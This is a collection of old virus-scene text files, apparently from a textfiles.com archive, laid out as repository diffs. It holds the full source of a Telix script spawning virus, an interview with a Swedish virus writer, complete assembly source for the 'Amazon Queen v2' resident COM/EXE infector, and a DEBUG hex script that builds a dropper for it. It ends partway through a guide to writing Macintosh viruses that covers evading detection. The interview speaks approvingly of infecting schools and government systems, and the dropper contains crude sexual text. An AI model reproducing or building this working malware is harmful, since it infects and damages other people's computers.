telemovie. He shifted the VCR into replay and turned
to look at his computer while it was playing. But the
hacker said he still didn't know what the movie was about
when it was over. He had been too busy at the PC to
pay attention. Working . . .
[Footnote: All the Secret Service's contact with Priest
and his viruses and source code appears, in retrospect,
to not have been much of a learning exercise. The organization
recently awarded a large contract to Symantec, the makers
of the Norton Anti-virus, to provide insurance against
computer virus attack. The Norton Anti-virus has long
been considered one of the worst choices imaginable
for this type of service.]
copyright 1994 American Eagle Publications

91
textfiles.com/virus/ltlmess.slt Normal file
View File

@@ -0,0 +1,91 @@
// Little Mess spawning virus source (c) 92 Crom-Cruach/Trident
// Source in SALT
//
// The compiled script needs some little changes:
// *First, both 1234h's in the SLC must be replaced by (FileLen-011h)
// *the 1st 11h bytes of the script must be copied over the 'REPLACE ME!';
// *Both 1D 06 00's sequences MUST be replaced by 1D 02 00...
// This is of course only educational, and even if it wasn't, it still wouldn't
// spread due to the script exchange rate.
//
// Bad minds, however, might think it's fun having their local network-sysop
// screaming about his system being infected while all anti-viral/integrity
// programs miss it (or, him being dissed for saying he's got a
// script-virus)... Of course, those people are wrong and/or sick.
// Symptoms - 1 out of 8 times it displays a message for 1 sec after
// script execution if all scripts infected.
// Greetz - NuKE / Phalcon/SKISM / YAM & All other practicing researchers...
// Technical info ---
//
// First, the uninfected file is renamed to *.SLX.
// Then, the SLC file is created and the copy of the header is written to it.
// After that, the whole virus is written as a string to the file (SALT-string
// identification code is 19h; offsets in SLC are calculated relative to the
// end of the header (= on +0Ch) - The 06 -> 02 patch changes the offset of the
// buffer to write from Title (+6) to [EndHeader+1] (+2)... The 1234-patch is
// needed to fill in the size of that string). After that, some random bytes
// are written to make the files less suspicious (the amount must be even; at
// least, CS (the TELIX script compiler) never creates files with odd lengths)
// I wanted to mark the SLX files as hidden; but in SALT you can only -read-
// the attribute of a file. Solution could be to write a little routine in ASM
// to a temporary file & to RUN that file; I decided not to, because the flash
// from the shell-to-dos is much more obvious than some 'SLX'-files.
// A system can be infected by starting this script from Telix. It will
// infect one script at a time.
int EndHeader = 0x123419; // Needed for code-copy
str Title[40] = "[Little Mess (c) 92 Crom-Cruach/Trident]";
str Org_Ext[4] = ".SLX";
str Path[64],Trash[64];
str Buf[12] = ""; // No script to start after 'mother'.
str Spawned_On[12];
// Header
str Header[17]="REPLACE ME!"; // must be replaced by header (debug)
int Handle;
main()
{
Spawned_On = Buf;
path = _script_dir;
strcat(path,"*.SLC"); // Search script (not 8 chars-FName!)
FNext:
if (not FileFind(path,0,Buf)) // File found?
{ EndHeader=0; } // No more; mark 'all infected'
else
{
path = ""; // Prepare for find-next
trash = _script_dir;
strcat(trash,Buf); // Trash = path+filename+ext
FNStrip(Trash,7,Buf); // Buf = filename only
strcat(Buf,Org_Ext); // Give new extension
if (frename(Trash,Buf) != 0) goto FNext;
// File not renamed (already spawned)
Handle = FOpen(Trash,"w"); // Make new file, same name
If (Handle == 0) // Error opening; restore orig. fname
{
Path = _script_dir;
strcat(path,Buf); // path = path+new_fname
frename(Path,Trash); // rename-back
goto Quit_Infect;
}
FWrite(Header,17,Handle); // Write header
FWrite(Title,0x1234,Handle); // Title REPLACED by (ofs EndH.+1)
FWrite(Title,(CurTime()&254),Handle); // Make size random (must be even)
FClose(Handle);
}
Quit_Infect:
call(Spawned_On); // Start orig. script
if ((EndHeader==0) and // If all infected
((CurTime()&7)==7)) // Show message 1 out of 8 times
Status_Wind("Legalize Marijuana! - <20>ڳ<10><><EFBFBD>",10);
}

662
textfiles.com/virus/lzinterv.iew Normal file
View File

@@ -0,0 +1,662 @@
Here's a short interview with yet another swedish viruswriter,
Lord Zero. One of his very old source-code follow this crappy
interview wipped up in a few minutes it looks like :-).
Lord Zer0 is the writer of Trojan Horse Maker, which never worked
on my machine, but might work on some :-), and of viruses like
Swedish_Warrior (included in IR#4) and others.
I wish him good luck in the future and thank him for being swedish
and writing viruses :-).
- The Unforgiven.
================================================================================
TU> = The Unforgiven
LZ> = Lord Zer0
TU> Give me a short description of who you are?
LZ> - My name is Alexander Augustus Napoleon...
TU> From where did you get you handle, Lord Zer0?
LZ> - From my brain...hehe
TU> Does your handle has some specific meaning?
LZ> - Sure, It means "The LoRD over all the Zer0s"
TU> When did you discovered the world of computers?
LZ> - When I was ten and my daddy brought home a PC from his office.
TU> How long have you been active in the scene?
LZ> - Since summer '93.
TU> Why did you start to call boards and such things?
LZ> - " Fame is our greatest enemy. "
TU> How did you came into the virus business?
LZ> - I got a copy of "The little black book of virus" by Mark Ludwig
and started experimenting with the "Timid" virus.
TU> Why did you start to write viruses?
LZ> - I've always liked to create things and if I could manage to create
"living" things that's exactly what I want to do.
TU> Which goals do you have as a viruswriter?
LZ> - Well, one of my goals is to finish "C.I.V", "Computer Immune
Virus" (EXE, WIN, MBR, maybe OS/2, Polymorphic(Gen_X), Stealth and
a lots of Anti-AV.)
TU> What programming-languages are you familiar with, and what's your
favourite language?
LZ> - I am familiar with Visual Basic, C, Quick Basic and Assembler.
Assembler is outstanding.
TU> You wrote a trojan-horse maker some while back, is that now finished
project or have you plans to continue on it?
LZ> - It's finished. The last version is 1.52.
TU> Which responses have you had about it?
LZ> - Well, I heard that it was spread like wildfire, many BBS's was
fucked up, and there was a war in Finland. DN (the largest Swedish
daily paper) got their Harddrives fuck-up.
(L.o.C. also got blacklisted on Internet and stuff like that, so
they had to change their name.)
TU> Do you have any plans to write a virus-code generator?
LZ> - Yes, I have one, which is nearly finished. (When I had the routine
creating the infected files left to write I got tired but I'll probably
finish it, one day, so stay alert.;) )
TU> Do you release viruses/trojans into public?
LZ> - Of course not! ;) Actually, there are already too many of them out
there, so a few of my NORMAL creations won't make any difference.
No phun! The viruses which are released must include some new ideas
or be very wide spead, to make someone notice them.
TU> How many viruses has you written?
LZ> - Ten maybe twenty, I don't really know(or care).
TU> How do you name your viruses?
LZ> - Well, in many different ways. I won't tell you..(I will require at
least half a page.)
TU> What motivates you to write viruses?
LZ> - You would never ask an artist: "Why do you paint ?"
TU> Do you think you will continue to write viruses?
LZ> - Yes, I will. Today, I can't see the end.
TU> Would you feel guilty if one of your viruses made damage to a
hospital?
LZ> - All my viruses are non-destructive. So don't blame me.
(And use my software at your own risk...hehe.)
TU> Would you deliberate infect a school or government institution if you
know they would replicate well if you did so?
LZ> - Yes, I think. If it could spread outside the institution. (I will
not infect a close system.)
TU> Do you find it easier to infect pirated software (which is illegal to
use), than PD/SW software?
LZ> - No, if I choose to infect a pirated software, I have to get
something very new if I want many users to get infected. That's the
big problem, and besides, elite users knows more about viruses than
PD/SW people do. So if I'd try to spread a virus, I'd prefer to put
it in a PD/SW.
TU> Do you encourage deliberate destructive code in viruses?
LZ> - No. (I wouldn't want to get my HD overwritten, and I think nobody
likes that.)
TU> Have you considered writing destructive code in viruses?
LZ> - No, the highest goal of a virus is survival, so why then commit
suicide, with trashing the HD?
TU> What to you think of the issue concerning 'undestructive-viruses'?
LZ> - I don't agree to it... A virus should be undestructive..
That's my opinion.
TU> Do you think one can make a virus beneficial?
LZ> - Sure, but then the "virus" is spelled: S O F T W A R E
TU> Have you ever considered writing a GOOD virus?
LZ> - Nope,...How can a virus be GOOD ?
TU> Bontchev described in his 'write-up' "Is good Computer-Viruses still
a bad idea", do you think one of those viruses can be classified
good?
LZ> - A virus, which search/watch for something or update a software,
may be a beneficial virus.
TU> Do you have any more arguments why viruses can't be beneficial than
the one Bontchev mentioned in his article?
LZ> - My arguments won't make anything different. There're too many
problems to solve, and one or two more won't matter.
TU> If you think its possible to write a good virus, how to solve the
above problems?
LZ> - Ask God ;)
TU> About virus-code-generators, what is your opinion about them, and
about people using them thinking they are hot-shot-eleete?
LZ> - It's a good idea, but it's rather useless. I my opinion people
using code-generators are lame or stupid. (They want to make a
virus but can't or are too lame to write one..BaH!)
LZ> Do you write viruses to get recognition in the virus/AV community?
LZ> - No. I just write viruses, because I think it's fun.
TU> What do you think about the media/AV describing viruswriters as
lonely individuals with no life?
LZ> - A person who can always do exactly what he wants without having to
care about what people think has a FREE life.
And about friends; I've got plenty of friends, friends who know
things about myself and my virustechnique that I've only told them
because I can trust them. For example the guys reading through
this interview, my press staff...But... to the people who wants
the truth: Make up your own opinion!
TU> Do you think the scene is asocial or not?
LZ> - It depends on what you make of it, doesn't it?
TU> How are you in real life (in a private matter).
LZ> - A highly respectable young man, who loves life and doing good at
school, which means nothing.(It could be any boy/girl in sweden,
who cares about the school.)
TU> How do you make your living?
LZ> - Nothing, just spend my parents money.
TU> Have the scene/viruswriting influent you in real life?
LZ> - Yes a bit, but not much.
LZ> What do your parents/close friends thinks about your viruswriting?
LZ> - Some of my friends know that I write viruses, but they believe
that I won't spread my creations. I don't really know what my
parents know about my virus writing, but I suspect they know what
I'm doing and as long as I'm doing good at school, they won't care.
They probably think that it's just a "game", which will die out in a
couple of years.
TU> Are you into viruswriting only or other parts of the
computer-underground?
LZ> - I crack games, and programs. I'm an elite trader (Under
an other handle.)
===============================================================================
% Amazon Queen v2 by Lord Zer0 %
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
Amazone Queen v2 is a memory resident infector of COM and EXE programs
executed, opened (both normal and extended), or touched with the
dos attrib-function, thus making this a pretty fast infector.
It 're-vectors' interrupt 21h (dos) to be interrupt38h, marks exe-files
with a '0' in the exe-header's negative checksum adress (12h - which
ofcourse is ignored) and a few other thing... and yeah, it can bug, and
there you go..
- The Unforgiven.
================================================================================
.model tiny
.code
org 100h
start:
push cs
pop ds
call begin
begin:
mov bx,sp
mov bp,ss:[bx]
sub bp,offset begin-100h
inc sp
inc sp
push es
inc [generation-100h+bp]
mov ah,0ACh
int 21h
cmp al,'0'
jnz go_tsr
cmp bx,cs:[_version+bp-100h]
jge return_file
mov ah,0AEh ; uninstall Virus
int 21h
mov ah,9 ; Give the user a notice that s/he has got
; at least two viruses on the HD...
lea dx,[bp+vx_name-100h]
int 21h
go_tsr:
xor ax,ax
mov es,ax
mov di,200h
mov si,bp
mov cx,vx_size/2
rep movsw
stosw
stosw
mov ds,cx
mov ax,offset int_21+100h
cli
xchg ds:[21h*4],ax
mov ds:[38h*4],ax
mov ds:[oldint21+100h],ax
xchg ds:[21h*4+2],cx
mov ds:[38h*4+2],cx
mov ds:[oldint21+102h],cx
sti
return_file:
pop es
push cs
pop ds
cmp sp,0FFFEh
je ret_com
push es
pop ds
mov ax,es
add ax,10h
add ax,word ptr cs:[bp+buffer+2-100h]
push ax
push word ptr cs:[bp+buffer-100h]
retf
buffer:
int 20h
db '00'
ret_com:
mov di,100h
dec sp
dec sp
mov bx,sp
mov [bx],di
lea si,[bp+buffer-100h]
movsw
movsw
xor ax,ax
retn
vx_name db ' Amazon Queen...v2.0$'
uninstall:
push ds
lds dx,dword ptr cs:[oldint21+100h]
mov ax,2521h
int 21h
pop ds
installed:
mov al,'0'
mov bx,cs:[_version+100h]
popf
iret
int_21:
pushf
cmp ah,0ach
je installed
cmp ah,0aeh
je uninstall
cmp ah,4bh
je infect
cmp ah,3dh
je infect
cmp ah,43h
je infect
cmp ah,6ch
je infect
return_dos:
popf
db 0eah
oldint21 dw ?,?
infect:
call push_all
cmp ah,6ch
jne not_extended
mov dx,si
not_extended:
push ds
pop es
mov di,dx
mov al,'.'
mov cx,64
repnz scasb
mov ax,[di]
or ax,2020h
cmp ax,'oc'
je comexe_file
cmp ax,'xe'
je comexe_file
jmp pop_ret
comexe_file:
mov di,offset buffer+100h
mov ax,3D02h
int 38h
jnc go_on
jmp pop_ret
go_on:
xchg ax,bx
push cs
push cs
pop es
pop ds
mov ah,3fh
mov cx,18h
mov dx,offset exe_hdr+100h
mov si,dx
int 38h
jnc not_close
jmp close
db 'WHY?'
not_close:
call eof
cmp word ptr [si],'ZM'
je exe_file
cmp byte ptr [si],41h
jne no_close
close_it:
jmp close
no_close:
movsw
movsw
mov cx,4
sub ax,cx
mov [si],0e941h
mov [si+2],ax
jmp write
exe_file:
push si
add si,14h
movsw
movsw
pop si
cmp byte ptr [si+12h],'0'
je close
push ax
push dx
add ax,vx_size
adc dx,0
mov cx,200h
div cx
or dx,dx
jz same_page
inc ax
same_page:
mov [si+2],dx
mov [si+4],ax
mov ax,[si+8]
mov cl,4
shl ax,cl
xchg ax,cx
pop dx
pop ax
sub ax,cx
sbb dx,0
mov cx,10h
div cx
mov byte ptr [si+12h],'0'
mov [si+14h],dx
mov [si+16h],ax
mov cx,18h
write:
push cx
mov ah,40h
mov dx,200h
mov cx,vx_size
int 38h
call tof
pop cx
mov ah,40h
mov dx,si
int 38h
mov ax,5700h
int 38h
inc ax
int 38h
close:
mov ah,3eh
int 38h
pop_ret:
call pop_all
jmp return_dos
db 'LoRD Zer0'
tof:
xor al,al
jmp movfptr
eof:
mov al,2
movfptr:
mov ah,42h
cwd
xor cx,cx
int 38h
retn
pop_all:
pop word ptr cs:[where]
pop di
pop si
pop ds
pop es
pop dx
pop cx
pop bx
pop ax
jmp jump_back
push_all:
pop word ptr cs:[where]
push ax
push bx
push cx
push dx
push es
push ds
push si
push di
jump_back:
jmp word ptr cs:[where]
_version dw 200h
generation dw 1
the_end:
vx_size = $-offset start
where = $+100h
exe_hdr = $+102h
end start
================================================================================
% An alternative script! %
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
What follow is not exactly the virus (AQ.500), but a dropper which
will create a file called zero.com. It does atleast contain one
hidden area, like oh-so-many of the hex-scripts in this zine
does.
- The Unforgiven.
N lord0.com
E 100 EB 3B 0D 0A 50 72 6F 67 72 61 6D 20 6D 61 64 65
E 110 20 66 6F 72 20 49 52 37 2E 20 50 75 62 6C 69 73
E 120 68 65 64 20 62 79 20 49 6D 6D 6F 72 74 61 6C 20
E 130 52 69 6F 74 2C 20 31 39 39 35 21 0D 0A FA 33 ED
E 140 B0 13 CD 10 BA DA 03 EC A8 08 74 FB B8 00 A0 8E
E 150 C0 8E D8 B8 C0 EE B1 09 51 8B F0 8B F8 83 C6 02
E 160 B1 9F F3 A5 05 40 01 59 E2 EE 33 F6 B8 00 F0 8E
E 170 C0 BB 6E FA 03 DD 26 8A 00 2E 22 06 FD 02 74 19
E 180 BB FC EF 33 FF 81 C3 40 01 47 3B F7 7D F7 8B CE
E 190 80 C1 18 8A E9 89 0F 32 ED 46 83 FE 08 75 D2 0E
E 1a0 1F D0 0E FD 02 80 3E FD 02 80 90 75 1C FF 06 FE
E 1b0 02 8B 36 FE 02 8A 84 00 03 0A C0 75 06 31 36 FE
E 1c0 02 EB EA B3 08 F6 E3 8B E8 E4 60 3C 80 72 03 E9
E 1d0 75 FF FB B8 03 00 CD 10 B8 00 B8 8E C0 BF 00 00
E 1e0 B9 96 03 FC BE 4F 03 E8 03 00 EB 6C 90 56 57 50
E 1f0 53 51 52 E3 5C 8B D7 33 C0 FC AC 3C 20 72 05 AB
E 200 E2 F8 EB 4D 3C 10 73 07 80 E4 F0 0A E0 EB F1 3C
E 210 18 74 13 73 19 2C 10 02 C0 02 C0 02 C0 02 C0 80
E 220 E4 8F 0A E0 EB DA 81 C2 A0 00 8B FA EB D2 3C 1B
E 230 72 08 75 CC 80 F4 80 E9 A2 00 3C 19 8B D9 AC 8A
E 240 C8 B0 20 74 02 AC 4B 32 ED 41 F3 AB 8B CB 49 E0
E 250 A9 5A 59 5B 58 5F 5E C3 B4 3C BA 2B 09 33 C9 CD
E 260 21 B8 02 3D BA 2B 09 CD 21 8B D8 B4 40 B9 F4 01
E 270 BA 37 07 CD 21 B4 3E CD 21 B4 07 CD 21 3C 52 75
E 280 70 B8 03 00 CD 10 B4 09 BA 8F 02 CD 21 EB 2F 63
E 290 6C 65 61 72 69 6E 67 20 73 63 72 65 65 6E 20 6F
E 2a0 6E 20 79 6F 75 72 20 6B 65 79 70 72 65 73 73 2E
E 2b0 2E 2E 2E 20 20 77 68 6F 61 68 21 0D 0A 24 B4 07
E 2c0 CD 21 3C 49 75 2B B4 07 CD 21 3C 4F 75 23 B4 07
E 2d0 CD 21 3C 54 75 1B B9 04 00 BE F8 02 FE 04 46 E2
E 2e0 FB B4 09 BA F8 02 CD 21 BA 61 00 B8 03 00 EF CD
E 2f0 20 B8 03 00 CD 10 CD 20 53 54 68 51 24 80 00 00
E 300 20 41 4D 41 5A 4F 4E 20 51 55 45 45 4E 20 56 32
E 310 2E 30 20 28 43 29 20 4C 4F 52 44 20 5A 45 52 30
E 320 2E 2E 2E 2E 2E 2E 20 20 48 45 52 4D 41 4E 4E 49
E 330 20 42 4C 4F 57 53 20 47 4F 41 54 2D 44 49 43 4B
E 340 21 21 21 20 20 20 20 20 20 20 20 20 20 20 00 0F
E 350 10 18 20 07 1A 09 DC 0F DC 19 02 07 1A 06 DC 0F
E 360 DC 19 05 07 1A 09 DC 0F DC 19 02 07 1A 09 DC 0F
E 370 DC 20 20 07 1A 08 DC 0F DC 19 02 07 1A 08 DC 0F
E 380 DC 18 07 DB 19 08 DE 0F 17 DE 10 DD 20 07 DB 19
E 390 06 DF 0F 17 DF 10 DC 19 02 07 DC DF 19 07 DE 0F
E 3a0 17 DE 10 DD 20 07 DC DF 19 07 DE 0F 17 DE 10 DD
E 3b0 07 DB 19 08 DB 0F DB 20 07 DB 19 08 DB 0F DB 18
E 3c0 07 DB 20 20 DB 0F 17 DC 07 10 1A 04 DF DC 0F 17
E 3d0 DC 10 DF 20 07 DB 20 20 DB 0F 17 DC 07 10 DF DB
E 3e0 DF 20 20 DB 0F DB 20 20 07 DB 20 20 DB 0F 17 DC
E 3f0 07 10 1A 04 DF DC 0F 17 DC 10 DF 20 07 DB 20 20
E 400 DB 0F 17 DC 07 10 1A 04 DF DC 0F 17 DC 10 DF 20
E 410 07 DF DF DF DB 20 20 DB 0F 17 DC 07 10 DF 0F DF
E 420 20 07 DB 19 02 DC 0F 17 DC 07 10 1A 04 DF 0F DF
E 430 18 07 DB 20 20 DB 0F DB 19 08 07 DB 20 20 DB 0F
E 440 17 DF 07 10 DF 20 DF DC 0F 17 DC 10 DF 19 02 07
E 450 DB 20 20 1A 03 DF DB 0F DB 19 04 07 DB 20 20 1A
E 460 03 DF DB 0F DB 19 07 07 DB 20 20 DB 0F DB 19 03
E 470 07 DB 19 02 DB 0F DB 18 07 DB 20 20 DB 0F DB 20
E 480 00 DC 07 DC DF DF DF 0F 17 DF 10 DC 20 07 DB 01
E 490 DB DB 17 DC 10 DB 17 DF 0F DC 01 DF DB DC 0F DF
E 4a0 10 DC 20 20 07 DB 01 DB DB 07 DB 0F 17 DC 07 10
E 4b0 DF DF DF 0F 17 DF 07 10 DC 01 17 DC 0F DF 10 DC
E 4c0 20 07 DB 01 DB DB 07 DB 0F 17 DC 07 10 DF DF DF
E 4d0 0F 17 DF 07 10 DC 01 17 DC 0F DF 10 DC 19 03 07
E 4e0 DB 01 DB DB 07 DB 0F DB 19 04 07 DB 01 DB DB DB
E 4f0 07 DF DF DF 0F 17 DF 07 10 DC 0F DC 18 07 DB 01
E 500 DB DB 07 DB 0F DB 20 20 07 DF DC 01 DB DB 07 DB
E 510 0F DB 20 07 DB 01 B1 B1 08 DC 0F 17 DC 10 20 20
E 520 07 DE 01 17 DE 10 B1 17 DD 0F DE 10 DD 20 07 DB
E 530 01 B1 B1 07 1A 04 DF 01 B1 B1 B0 07 DE 0F 17 DE
E 540 10 DD 07 DB 01 B1 B1 07 1A 04 DF 01 B1 B1 B1 07
E 550 DE 0F 17 DE 10 DD 19 02 07 DB 01 B1 B1 07 DB 0F
E 560 DB 19 05 07 DF DF DC 01 1A 04 B1 07 DB 0F DB 18
E 570 07 DB 01 B1 B1 B1 0F 17 DF 07 10 DC DC DC DF 01
E 580 B1 B1 07 DB 0F DB 20 07 DB 20 08 DC 0F 17 DF 10
E 590 19 02 07 DB 01 B1 B1 07 DB 0F 17 DB 10 19 02 07
E 5a0 DB 1A 07 DC DB 0F 17 DB 10 19 02 07 DB 1A 07 DC
E 5b0 DB 0F 17 DB 10 19 04 07 DB 01 B0 B0 07 DB 0F DB
E 5c0 19 03 07 1A 03 DC DF 01 1A 03 B0 07 DC 0F 17 DC
E 5d0 10 DF 18 07 DB 01 1A 09 B0 07 DB 0F DB 20 20 07
E 5e0 DF 19 04 DF DC 01 B0 B0 07 DF 0F 17 DF DC 10 DF
E 5f0 19 1D 07 DF DC DC 0F 17 DC 10 DF 20 20 07 DC DB
E 600 1A 06 DC 0F 17 DC 10 DF 18 07 DF 1A 08 DC 0F 17
E 610 DC 10 DF 19 0A 07 DF DF DF 0F DF 18 18 18 18 19
E 620 0A 09 D2 19 03 D6 C4 C4 BF 20 D2 C4 C4 BF 20 D2
E 630 C4 C4 BF 19 04 D6 C4 BF 20 20 D2 C4 C4 BF 20 D2
E 640 C4 C4 BF 20 D6 C4 C4 BF 20 D2 18 19 0A BA 19 03
E 650 BA 20 20 B3 20 C7 C4 C2 D9 20 BA 20 20 B3 19 04
E 660 D6 C4 D9 20 20 C7 C4 19 02 C7 C4 C2 D9 20 BA 20
E 670 20 B3 20 BA 18 19 0A D0 C4 C4 D9 20 D3 C4 C4 D9
E 680 20 D0 20 C1 20 20 D0 C4 C4 D9 19 04 D3 C4 C4 D9
E 690 20 D0 C4 C4 D9 20 D0 20 C1 20 20 D3 C4 C4 D9 20
E 6a0 6F 18 18 18 19 17 0B C4 54 48 45 20 55 4E 46 4F
E 6b0 52 47 49 56 45 4E 2D 18 18 19 0C 28 41 4E 53 49
E 6c0 20 42 59 20 50 4F 52 4E 4F 20 2D 20 41 47 45 53
E 6d0 20 41 47 4F 2E 2E 2E 20 21 20 21 20 21 20 21 29
E 6e0 18 18 18 18 18 54 55 3E 20 48 69 20 45 6D 6D 61
E 6f0 2C 20 73 63 68 75 74 74 75 70 20 61 6E 64 20 73
E 700 6C 65 65 70 20 77 69 74 68 20 6D 65 21 0D 0A 62
E 710 63 6F 73 20 79 6F 75 20 61 72 65 20 79 6F 75 6E
E 720 67 20 61 6E 64 20 68 61 76 65 20 61 20 70 75 73
E 730 73 79 21 21 21 0D 0A 0E 1F E8 00 00 8B DC 36 8B
E 740 2F 81 ED 05 00 44 44 06 FF 86 F2 01 B4 AC CD 21
E 750 3C 30 75 13 2E 3B 9E F0 01 7D 39 B4 AE CD 21 B4
E 760 09 8D 96 8E 00 CD 21 33 C0 8E C0 BF 00 02 8B F5
E 770 B9 FA 00 F3 A5 AB AB 8E D9 B8 B8 02 FA 87 06 84
E 780 00 A3 E0 00 A3 D9 02 87 0E 86 00 89 0E E2 00 89
E 790 0E DB 02 FB 07 0E 1F 83 FC FE 74 17 06 1F 8C C0
E 7a0 05 10 00 2E 03 86 7A 00 50 2E FF B6 78 00 CB CD
E 7b0 20 30 30 BF 00 01 4C 4C 8B DC 89 3F 8D B6 78 00
E 7c0 A5 A5 33 C0 C3 20 41 6D 61 7A 6F 6E 20 51 75 65
E 7d0 65 6E 2E 2E 2E 76 32 2E 30 24 1E 2E C5 16 D9 02
E 7e0 B8 21 25 CD 21 1F B0 30 2E 8B 1E F0 03 9D CF 9C
E 7f0 80 FC AC 74 F1 80 FC AE 74 E0 80 FC 4B 74 15 80
E 800 FC 3D 74 10 80 FC 43 74 0B 80 FC 6C 74 06 9D EA
E 810 00 00 00 00 E8 FE 00 80 FC 6C 75 02 8B D6 1E 07
E 820 8B FA B0 2E B9 40 00 F2 AE 8B 05 0D 20 20 3D 63
E 830 6F 74 08 3D 65 78 74 03 E9 AE 00 BF 78 02 B8 02
E 840 3D CD 38 73 03 E9 A1 00 93 0E 0E 07 1F B4 3F B9
E 850 18 00 BA F6 04 8B F2 CD 38 73 07 E9 87 00 57 48
E 860 59 3F E8 97 00 81 3C 4D 5A 74 17 80 3C 41 75 02
E 870 EB 73 A5 A5 B9 04 00 2B C1 C7 04 41 E9 89 44 02
E 880 EB 46 56 83 C6 14 A5 A5 5E 80 7C 12 30 74 56 50
E 890 52 05 F4 01 83 D2 00 B9 00 02 F7 F1 0B D2 74 01
E 8a0 40 89 54 02 89 44 04 8B 44 08 B1 04 D3 E0 91 5A
E 8b0 58 2B C1 83 DA 00 B9 10 00 F7 F1 C6 44 12 30 89
E 8c0 54 14 89 44 16 B9 18 00 51 B4 40 BA 00 02 B9 F4
E 8d0 01 CD 38 E8 22 00 59 B4 40 8B D6 CD 38 B8 00 57
E 8e0 CD 38 40 CD 38 B4 3E CD 38 E8 1A 00 E9 1F FF 4C
E 8f0 6F 52 44 20 5A 65 72 30 32 C0 EB 02 B0 02 B4 42
E 900 99 33 C9 CD 38 C3 2E 8F 06 F4 03 5F 5E 1F 07 5A
E 910 59 5B 58 EB 0D 2E 8F 06 F4 03 50 53 51 52 06 1E
E 920 56 57 2E FF 26 F4 03 00 02 01 00 7A 65 72 6F 2E
E 930 63 6F 6D 00
RCX
834
W
Q

121
textfiles.com/virus/macv.txt Normal file
View File

@@ -0,0 +1,121 @@
How To Write A Virus For The Macintosh
*or 'How I Learned To Stop Worrying And Love The Resource Manager'
document version 1.0
Due to numerous requests for this type of information, I will delve myself into the dark side and release that information by which people can be arrested. Please note that this file contains no source code and no information about destructive code, but simply gives the basic ideas and principles behind writing a reproducing code resource and how it can be used to better society.
Chapter 1: Basic Principles
A computer virus, by definition, is a piece of processor-executable code that can reproduce itself within it's environment. In the Macintosh system, an object called a resource can contain executable code. Most common executable resources are of type 'CODE', along with others such as 'DRVR', 'CDEF', 'WDEF', 'INIT', and so on. These resources are loaded into memory and 'jmp'ed to to be executed (an assembly language term for jump). Note that not only these types listed above can contain code. The trick is to get the virus code loaded and called by 'accident'.
There are many places where code resources are loaded and executed. For one example, at the launch of an application, the CODE resource with ID=0 is loaded (the jump table), and then jumps to the first listing in it's table. As another example, a 'CDEF' resource is called to draw certain controls (ID=0 for buttons, checkboxes, and radio buttons; ID=16 for scroll bars, etc.). Another example: an 'INIT' resource is called at startup time if the file which contains it is in one of the special system folders. There are numerous other places within applications, and even within system software itself, where code is loaded and called. Each virus uses a trick with one of these methods to get itself called. Some of these methods are described in more detail below.
Once the virus code is executed, it's main responsibility is to duplicate itself. This in itself is a fairly easy process. Since your executable code resource is already loaded into memory, you can use a few popular toolbox calls to place it into any other file or application that would suit your needs (where it would also have the chance of being executed). After the duplication is complete, the virus may do any other task it deems necessary.
One of the reasons why viruses crash is that their reproduction or startup code is not compatible with other systems and/or machines, not that their damage system actually did any damage. If you write code following the Inside Macintosh rules and code defensively, you should be able to write a clean piece of code that travels without problems. Always code defensively: it's your work out there<72> you want to be proud of it. Read below to find some tips on doing just that.
Virus testing is a very difficult process, in that your own system is constantly infected, possibly numerous times with older versions of the virus. There are methods to the madness, so again, read on.
A few of the catches to writing a virus is being aware of the methods used by virus-protection software. If simply written, a virus could be caught very quickly and not have much effect beyond your own system. If the methods are thought out and the patches made by the protection software are understood, then a virus could at least require software companies to update their existing detection methods. Every virus to date has been able to be detected and destroyed, so don't feel bad.
Is everybody happy? Then let's go!
Chapter 2: Writing Executable Code
An executable code resource is easy to create with a good software-development application such as THINK C (or C++) or THINK Pascal or MPW. There are slight differences between the environments, but nothing major. I will be giving examples for code written in THINK C, for that is the system I use.
An executable code resource usually starts with a
void main(void)
and within such, your executable code exists. Note, as always, that executable code cannot handle global variables (variables defined above the definition of the main code, accessible by the whole file/project). THINK C handles ways around this, and MPW uses the methods in Tech Note #256, but in most cases, you won't really need global variables, unless the code is complex enough to require separate procedures and/or object-oriented code. In any case, you can usually define your variables inside the main procedure itself. There aren't too many rules as far as writing code resources, so long as you know under which circumstances your code will be called. If you are patching a Toolbox trap, for example, you must take the same form as the patch you are trapping:
void ModalDialogPatch(ProcPtr procFilter,int *itemHit)
If you are patching an operating system trap, you need to do some register playing, but you need to take an empty procedure form:
void OpenPatch(void)
even though the FSOpen, PBOpen, etc. take paramBlocks. Note: they are stored in registers A0, D0, and A1 usually. Check the trap for specifics. You need to save these before you execute your code, and then restore them upon return.
If you are executing code that is to be run as a VBL or Time Manager task, always remember that you cannot use code that even thinks about using the Memory Manager (i.e. moves or purges memory). Make sure all the toolbox calls you use are not in the 'dreaded list' in the appendix of each volume of Inside Macintosh.
The type of the code resource is very dependent upon which method you wish to use to get your code executed. Read the next section for details on such execution theories.
After you're done writing the code, check it over for simple things you might have forgotten (original Quickdraw compatibility, system versions, etc.), and compile the sucker. For right now, you can throw the code resource into some sort of test file (or stagnant file, where the code will not be executed and/or reproduce). Note that you should NOT have any external resource files to compile along with it. Code resources such as this should preferably be self-contained, and not have to 'carry around the extra luggage', so to speak. There are methods to carry along bitmaps (as 'unknown data') and use them as graphics. But you should never rely on things like GetNewDialog, because that requires the existence of a DITL resource. Instead, use calls like NewDialog, where the code builds the relevant information in. It might make things harder to read and a bit harder to edit, but it's what you have to do in order to make everything self-contained.
Most of the compilers create some sort of header at the beginning of each executable code resource. This header could give away some vital information about the resource which would make it easy for a virus-detector to find. Double check it after compilation to make sure it's clean and doesn't look suspicious.
Chapter 3: Getting Your Code Executed
